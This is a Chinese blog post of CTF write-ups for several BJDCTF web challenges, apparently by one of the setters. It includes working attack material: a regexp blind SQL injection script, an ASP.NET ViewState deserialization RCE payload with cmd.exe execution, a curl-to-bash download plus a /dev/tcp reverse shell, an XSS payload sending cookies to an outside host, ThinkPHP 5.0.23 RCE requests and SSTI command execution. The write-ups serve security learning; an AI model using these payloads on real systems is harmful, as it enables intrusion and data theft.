Author:颖奇L’Amore

Blog:www.gem-love.com

虽然作为部分题目的出题人,本wp依然是作为选手角度来写的,非官方wp。


出题笔记:点我查看

官方wp:链接1 链接2


Element Master
  • 出题人:我
  • 考点:信息收集、联想、Python
  • 难度:简单

打开题目是个漫画:

可以看到,右下角的小人站在了俄罗斯🇷🇺国旗上,上面写着Дми́трий Ива́нович Менделе́ев(德米特里·伊万诺维奇·门捷列夫),就算不知道这个俄语也不认识俄罗斯国旗也无所谓。

门捷列夫被用粗线画了,暗示门捷列夫是本漫画的重点。这里没get到也无所谓。

英语写道:我是全部118个元素的元素大师!你可能没有感觉,但是放射性射线的症状会无声的杀死你。

右键查看源代码,得到:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>BJDCTF's Cute Caricature</title>
</head>
<body bgcolor=white>
<img src="mendeleev.jpg"></body>
<p hidden id="506F2E">I am the real Element Masterrr!!!!!!</p>
<p hidden id="706870">@颖奇L'Amore</p>
</body>
</html>

可以看到,这个漫画图片叫mendeleev(门捷列夫),加上说的元素、118、放射性等信息,可以基本猜到这个题和化学、元素周期表等有关系。

在源代码有两行<p hidden>标签,id给了神秘代码,进行HEX to String转换后得到Po.php。查一下发现,Po是放射性元素钋(Polonium),这样就和漫画基本联系起来了。因为给的是个文件名,去访问一下,发现是个点:

这时候,发现其他什么东西都没有了,于是就需要想一下:对于web题目,什么地方可以藏flag

现在知道这个题和化学元素有关,钋元素是一个文件名,那么其他元素会不会也是存在的文件呢,漫画上也说了all 118 elements,但是因为元素太多了,用手测试比较麻烦,写个python跑一下:

################################
# 颖奇L'Amore www.gem-love.com #
# 转载请勿删除本水印             #
################################
import os
import requests as req
elements = ('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
                  'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 
                  'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 
                  'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 
                  'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 
                  'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
                  'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')
for symbol in elements:
    link = "http://element-master.bjdctf.y1ng.vip:12309/" + symbol + ".php"
    response = req.get(link)
    if response.status_code == 200:
        print(response.text, end='')
    else:
        continue

得到了一个新的文件名:And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php

访问这个文件,得到flag:BJD{th3_3LemEnt5_w1LL_De5tR0y_y0u!!!}


文件探测File Detect
  • 出题人:我
  • 考点:信息收集、本地文件包含、代码审计、SSRF、AES破解(利用逻辑漏洞)
  • 难度:普通
信息收集

打开题目,是个很炫酷的前端单页面,花里胡哨没什么用,摁下F12得到注释:

<!-- Inheriting and carrying forward the traditional culture of the first BJDCTF, I left a hint in some place that you may neglect -->
<!-- If you have no idea about the culture of the 1st BJDCTF, you may go to check out the 1st BJDCTF's wirteup that can be found in my blog -->

告知传承了第一届BJD的传统文化,如果做过第一届BJD就应该知道web题目特别喜欢在header藏hint,于是看下header,果然发现了hint:

其实这个注释主要是为了减少题目难度,home.php这个文件名是个常见文件名也是为了减少难度(扫描器可以扫出来)。不过就算是没给注释、不知道第一届BJD喜欢header藏hint、文件名很复杂,用burp抓个包什么的也很容易能得到这个hint

在home.php里告诉“你知道目录下都有什么文件吗?” ,这句话暗示还有其他文件,扫一下什么的可以扫出来admin.php,当然为了减少题目难度还给了Robots.txt,访问也能得到admin.php 。

访问admin.php告诉只能从本地访问,header测试无果之后得到结论:本题目需要SSRF

文件包含

访问home.php,发现url变成了home.php?file=system,也告诉了现在引用的是system.php

这应该很敏感的考虑到文件包含。如果引用别的就会被拼接上.fxxkyou(GXYCTF BabySQLi v3.0的套路)

于是乎,用伪协议读一下system.php的源码:

http://file-detect.bjdctf.y1ng.vip:12301/home.php?file=php://filter/convert.base64-encode/resource=system
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
    echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>File Detector</title>

    <link rel="stylesheet" type="text/css" href="css/normalize.css" />
    <link rel="stylesheet" type="text/css" href="css/demo.css" />

    <link rel="stylesheet" type="text/css" href="css/component.css" />

    <script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
    <form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
        <div class="simform-inner">
            <span><p><center>File Detector</center></p></span>
            <ol class="questions">
                <li>
                    <span><label for="q1">你知道目录下都有什么文件吗?</label></span>
                    <input id="q1" name="q1" type="text"/>
                </li>
                <li>
                    <span><label for="q2">请输入你想检测文件内容长度的url</label></span>
                    <input id="q2" name="q2" type="text"/>
                </li>
                <li>
                    <span><label for="q1">你希望以何种方式访问?GET?POST?</label></span>
                    <input id="q3" name="q3" type="text"/>
                </li>
            </ol>
            <button class="submit" type="submit" value="submit">提交</button>
            <div class="controls">
                <button class="next"></button>
                <div class="progress"></div>
                <span class="number">
					<span class="number-current"></span>
					<span class="number-total"></span>
				</span>
                <span class="error-message"></span>
            </div>
        </div>
        <span class="final-message"></span>
    </form>
    <span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
    var theForm = document.getElementById( 'theForm' );

    new stepsForm( theForm, {
        onSubmit : function( form ) {
            classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
            var messageEl = theForm.querySelector( '.final-message' );
            form.submit();
            messageEl.innerHTML = 'Ok...Let me have a check';
            classie.addClass( messageEl, 'show' );
        }
    } );
</script>

</body>
</html>
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}
?>

同样方法能得到home.php的源码,但是没用,唯一一点就是在home里设置了cookie:

setcookie("y1ng", sha1(md5('y1ng')), time() + 7200);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+7200);
system.php代码审计

需要检测的文件的url必须是http://127.0.0.1/开头,且不能包含flag关键字:

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (!preg_match($filter1, $url) ){
        die($str2);
}
if (preg_match($filter2, $url)) {
        die($str3);
}

基本可以肯定,是SSRF相关的题目。

这个url会被在后面拼接上一个y1ng.txt的后缀:

$url = $_POST['q2'].".y1ng.txt";

访问的方法必须是GET或者POST开头,但是没有判断结尾

if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
    die($str4);
}

之后就会进行file_get_contents(),然后格式化输出,但是输出的是%d,也就是个整数,并不能读出来源码:

$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
SSRF

因为admin.php只能本地访问,现在提供了file_get_contents()函数,正好可以用它来访问admin.php,但是有2个问题:

  • url会被拼接上.y1ng.txt
  • 格式化输出的是%d而不是%s

这个SSRF点取材于2019年第十届极客挑战赛的SSRF+CRLF那个题。对于第一个问题, 只需要让他拼接到参数后面去就行了,payload:

http://127.0.0.1/admin.php?a=1

对于%d可以发现代码中的$method%d是连起来的:

print(sprintf("$url method&content_size:$method%d", $detect));

另外sprintf()有格式化字符串漏洞,如果传进去%s就能往出格东西,正好这个$method没有对结尾进行判断,所以可以用GET%s来格式化。但是提交一下发现啥也没有:

问题就出现在了这个GET%s%d上,导致了sprintf()出错,所以还需要把%d转义掉,对于sprintf()函数,对百分号的转义是用2个%而不是反斜线,这点和C的printf()一样。提交:

GET%s%

对于第一个问题,随便填,看代码就可以知道了并没有对第一个问题进行任何处理和操作,所以没什么用,提交得到admin.php源码:

<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{[email protected]_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>";
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header('Location: index.php');
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>
admin.php代码审计

首先产生随机数放到$_SESSION['secret'],如果传了decrypt参数,还需要check()通过,看下check()函数可以知道只要不去乱改cookie这个check就一定过:

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

之后就会对那个随机数$_SESSION['secret']进行aes加密操作,如果加密结果和我们穿进去的decrypt相同就会输出flag:

$data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
破解AES

虽然mt_rand()是个伪随机数,它的种子可以爆破,甚至可以无需爆破来还原mt_rand()种子,这个随机数是可以被破解的,但是再看一下代码就可以看到这个随机数生成的只是一个长度,然后用不能被破解的函数生成了新的随机数:

bin2hex(random_bytes($length))

这随机数就不能被破解了,肯定会有人卡在这里。

但是我们可以发现,这个生成的不能被破解的随机字符串被放在了session中:

$_SESSION['secret'] = bin2hex(random_bytes($length));

而只要带上decrypt函数,这个session就不会被重新生成了,然后进行AES加密也是从session中取出来再传给aesEn()来加密的,在AES中使用了选手的IP地址的md5作为IV来加密:

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

尽管加密很复杂,基本上没有破解的可能(也没准被大佬给破解出来),本题的考点在于SESSION,因为这个随机出来的hex字符串是存在SESSION中的,那么如果没有了SESSION不就没了这个随机字符串了吗?

所以只要通过删除PHPSESSID将SESSION置空,就将$data置空了,这样AES加密的其他参数就都是已知的了,就可以自己算出密文了,写个脚本算下AES的密文:

//颖奇L'Amore www.gem-love.com
<?php
function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5('8.8.8.8', true); // your global ip address here
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

$cipher = aesEn('', 'y1ng');
echo $cipher;

传给decrypt,然后删掉PHPSESSID,得到flag

flag:BJD{W0W_nOW_Y0U_4r3_My_4dm1n}

注:1.如果check()不过,因为header()代码写的有问题不会跳转,可能是cookie到期,重新访问home.php获取即可

2.自己算的base64的AES可能带加号,在URL被解析为空格,因此需要URL编码


假猪套天下第一
  • 出题人:我
  • 考点:burp抓包、HTTP Header
  • 难度:简单

打开之后是个登陆页面,登陆admin失败,其他的都会直接登陆成功,但是登陆成功啥也没有了:

所以由本能反应,抓个包看下登陆时候到底发生了什么,发现登录的302跳转时候给了个注释

访问L0g1n.php,告知:

Sorry, this site will be available after totally 99 years!

cookie处发现一个叫time的cookie,存放的是当前的时间戳,把他改大改到99年以后即可。

后面就都是修改header的问题了,其中也有一些生僻header,但是全部可以从这里找到:

HTTP Header 详解

这里面有2个坑点

第一个:

Sorry, this site is only optimized for those who comes from localhost

修改XFF为127.0.0.1后:

Do u think that I dont know X-Forwarded-For?
Too young too simple sometimes naive

使用Client-IP或者X-Real-IP代替XFF即可。

第二个:

Sorry, this site is only optimized for browsers that run on Commodo 64

直接修改UA为Commodo 64不行,如果不知道Commodore的话去查一下可以发现有一种老式电脑系统叫Commodore 64,修改了就可以了。

或者如果去搜索UA,可以搜到Commodore的UA:

Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)"

其他就都是正常改header了,所有header都改好:

被告知:

Sorry, even you are good at http header, you're still not my admin.
Althoungh u found me, u still dont know where is flag

这里如果用的Burp,直接能看到。但是浏览器插件改的UA的话,如果右键查看网页源代码,就又重新卡在了99年那里。F12审查元素可以看到一个注释:

base64解码得到flag:BJD{Adm1n_1s_us3Less_hahhhhh}


GirlfriendInjection(简单注入)

出题人:P3rh4ps

考点:regexp布尔盲注

难度:难

比赛时候不知道robots.txt里有hint,但是不影响做题

fuzz

打开之后是个登录框,先fuzz一下,可用符号:

被ban的:

可以发现:

  • 单引号 双引号都被ban了
  • union和select都被ban了
  • =和like被ban了

这3个过滤最难顶,直接限制了大部分思路

SQL语句逃逸单引号

假设sql语句是这样的:

select username,password from user where username='$u' and password='$p'

过滤了单引号+没有宽字节,因此构造注入基本已经不太可能,但是没法注入的话这题没法做了。回去再看fuzz结果,发现反斜线没有被ban掉,因此可以用反斜线去将单引号转义,这要就实现了SQL语句逃逸,实现SQL注入

假设输入的用户名是admin\,密码输入的是or 1#整个SQL语句变成了:

select username,password from user where username='admin\' and password=' or 1#'

可以看到,由于单引号被转义,and password=这部分都成了username的一部分,or 1就逃逸出来了,因此可以从这里下手进行注入

布尔盲注

这题做了我3个多小时,大部分时间都浪费在了这个登录上面,这里确实有点坑,登录下面写着You konw ,P3rh4ps needs a girl friend,我一直以为那就是个不会变的一句话:

然后打开burp也没全屏,Repeater里直接没看这地方,登录不管怎么登录、怎么构造布尔语句都会提示”用户名错误或不存在”:

后来才知道,原来构造布尔为真时候那个P3rh4ps needs a girl friend会变,我死了

布尔盲注成功

REGEXP注入

但是,虽然能够布尔,依然不能往出注登录密码,对正则分析之后发现可以用正则表达式

另外p3师傅告诉了区分大小写,由于直接regexp匹配在3.23.4版本后是不分大小写的,所以加上binary关键字,脚本:

################################
# 颖奇L'Amore www.gem-love.com #
# 转载请勿删除本水印             #
################################
import os
import requests as req

def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result


url = "http://123.57.144.205:2333/"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
headers = {
      'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
      'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Connection':'keep-alive'
    }

res = ''
for i in range(50):
  for j in string:
    passwd = ord2hex('^'+res+chr(j))
    # print(passwd)
    passwd = 'or password regexp binary {}#'.format(passwd)
    data = {
      'username':"admin\\",
      'password':passwd
    }

    r = req.post(url, data=data, headers=headers)
    # print(r.text)
    if "BJD need" in r.text:
      res += chr(j)
      print(res)
      break

脚本跑出来登录密码,登录得到flag:

校内平台flag:BJD{where_is_my_girl_friend}


EasyAspDotNet

出题人:glzjin

考点:ASP.NET VIEWSTATE反序列化、CVE-2020-0688、一点dos命令

难度:难

预备知识:

文章1:如何借助ViewState在ASP.NET中实现反序列化漏洞利用

文章2:玩转ASP.NET VIEWSTATE 反序列化攻击、建立无档案后门

GitHub – ysoserial.net

现学现卖,做了一个下午,千言万语都归结为一句话:赵师傅tql

打开题目,发现点一下button就会出一张图,查看源代码,发现图片的url似乎存在着文件包含:

加上hint告诉web.config,于是目录穿越去包含web.config来读文件内容

先学习一下web.config干嘛的:

Web.config文件是一个XML文本文件,它用来储存ASP.NETWeb 应用程序的配置信息(如最常用的设置ASP.NETWeb 应用程序的身份验证方式),它可以出现在应用程序的每一个目录中。当你通过.NET新建一个Web应用程序后,默认情况下会在根目录自动创建一个默认的Web.config文件,包括默认的配置设置,所有的子目录都继承它的配置设置。如果你想修改子目录的配置设置,你可以在该子目录下新建一个Web.config文件。它可以提供除从父目录继承的配置信息以外的配置信息,也可以重写或修改父目录中定义的设置。

查了一下,说web.config一般在网站项目的根目录下,找一下:

  • web.config (没找到)
  • ../web.config (没找到)
  • ../../web.config (找到)

直接url访问是显示不出来东西的,因为它被解析成图片了。所以扔进迅雷,把web.config下载下来:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>

根据上面文章可知,有了validationKey就可以自己算__VIEWSTATE了,直接用文章给的脚本:

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Form["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

然后去windows server上找2个dll:

关于需要引入的dll可以在安装了.NET Framework的Windows主机上找到,像我的环境是在这个路径C:\Windows\Microsoft.NET\Framework64\v4.0.30319之中。

然后用ysoserial一把梭,这payload也都是上面那文章里给的:

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./dll/System.dll;./dll/System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5"

然后,非常重要一点就是,把算出来的东西进行手工URLENCODE,否则会报错,在这里卡了好长时间才发现要自己编码一下。

然后带上__VIEWSTATE去post就可以RCE了:

cmd=ipconfig&__VIEWSTATE=url编码算出的东西

CMD中列出目录下文件用dir,查看文本内容用typelscat是linux命令,这里不能用。在C盘根目录下得到动态flag和静态flag:

flag:flag{glzjin_still_wants_a_girl_friend_please_contact_me_qq_3054879403}


Schrödinger
  • 出题人:imagin
  • 考点:信息收集、脑洞、Recon
  • 难度:迷惑

打开之后写了一堆嘤语:

源代码得到一个文件:

<h3><font color="white">Note : Remenmber to remove test.php!</font></h3>

访问test.php是个登陆界面,用burp爆破了一堆常用密码也没成功,fuzz了一遍也没有sql注入

回来继续看主页,他叫Login Fucker,于是把这个登录页面放进去提交,之后就会有一些数字在运算:

让它fuck了半天也没跑出来密码,属实难顶。用burp抓包看下,在提交URL时候设置了一个cookie:

base64解码得到一个时间戳:1584700015 这地方卡了半天,后来我自己改了一个时间戳,改到了500年后,发现这个成功率直接NaN了,虽然没得到什么有用信息,至少可以得知:这个成功率和cookie存在着某种py关系

测试了半天,后来发现把cookie置空就99%了

暂时不清楚这是为啥,反正99了,然后check一下密码就被fuck出来了:

然后依然登不上去,又卡住了一下。最后去b站搜了av11664517,在评论区找到了flag

flag:BJD{Quantum_Mechanics_really_Ez}


DuangShell
  • 出题人:Mrkaixin
  • 考点:无回显命令执行、简单bypass、Linux命令
  • 难度:简单

打开之后告知:

how can i give you source code? .swp?!

访问/.index.php.swp得到源码,用vim -r index.php恢复源码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>give me a girl</title>
</head>
<body>
    <center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}

代码很简单,就是post一个girl_friend然后绕过一些正则比配之后就exec(),需要说明的是,exec()system()不同,exec()无回显,所以首选反弹shell,正好curl没ban,payload:

girl_friend=curl http://gem-love.com/shell.txt|bash
bash -i >& /dev/tcp/[ip]/[port] 0>&1

弹回来shell之后,根目录cat flag被告知需要自己找flag

bash-4.4$ cat fl
cat flag 
flagplease-find-it-by-yourself

找了root tmp var目录下没有之后,在etc下找到了flag:

flag:BJD{[email protected]_y0U_i0v3_p3}

比赛第二天去buuoj上做了一遍,发现flag直接就放在了根目录的flag内


代码很长,但没有杨大树长(XSS之光)
  • 出题人:杨大树
  • 考点:git泄露、PHP原生类反序列化
  • 难度:比简单题难一点

git泄露,直接GitHack得到源码(杨大树真长):

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

直接反序列化然后输出反序列化结果。本题目难点在于不知道如何下手。

问题在于,代码里一个类都没有,对谁反序列化?只能对原生类进行反序列化

因为有echo,最好是对有__toString()方法的类进行反序列化,在__toString()原生类反序列化中,常用的是ErrorException类,但是Error是php7专有,用查看看了下发现题目环境是php5:

所以用Exception反序列化,然而它反序列化只能xss,不管了先xss一下看看:

<?php
$y1ng = new Exception('"<script>window.open(\'http://gem-love.com:12358/?\'+document.cookie);</script>');
echo urlencode(serialize($y1ng));

flag:BJD{yds_1s_s0_h4ndds0meee}

后来在buuoj试了下,发现不用nc监听,只要xss执行window.open()就能把flag带出来了,那就简单多了- –


老黑客了
  • 出题人:www
  • 考点:thinkPHPv5.0.23 RCE
  • 难度:简单

打开之后是个黑页,告诉用了tp5:

直接上exp,报错了,利用报错可以收集一些信息:

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

得知是v5.0.23,直接用5.0.23的RCE

http://47.93.234.29:2333/index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

得到flag:BJD{DontD0Th4t}


Fake Google
  • 出题人:rdd
  • 考点:SSTI
  • 难度:简单

打开之后是个咕咕咕搜索,会把搜索的东西原封不动显示出来:

检测一下发现服务器是python3.6.9 flask1.0 于是乎{{config}}发现可以模板注入:

可以看到参数直接get传过去,然后显示出来,所以直接丢进tplmap一把梭

python tplmap.py -u http://43.248.125.174:10021/qaq?name= --os-shell

这个交互式shell命令执行起来不太好用,所以直接弹回来一个shell

出题时候听出题师傅@rdd说这题要加一些trick,我以为很复杂就直接选择弹了shell。后来手测了一下,发现可以直接文件读取一点都不用绕,但是校内平台直接读flag读不出来,因为如果输出了BJD就会被ban而buuoj上flag是flag{***}没有BJD三个字母所以不影响,校内的用base64编码一下绕过即可:

/qaq?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag | base64').read() }}

flag:BJD{P3_wantS_a_l0t_of_g1rlfriends}

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2097.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

2 条评论

l123 · 2020年4月2日 17:36

想问问师傅EasyAspDotNet这道题,ysoserial.exe这个程序哪里来的,从github上下载的没有这个程序。网上没有查到

123 · 2020年4月2日 17:37

想问问师傅EasyAspDotNet这道题,ysoserial.exe这个程序哪里来的,从github上下载的没有这个程序。网上没有查到

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image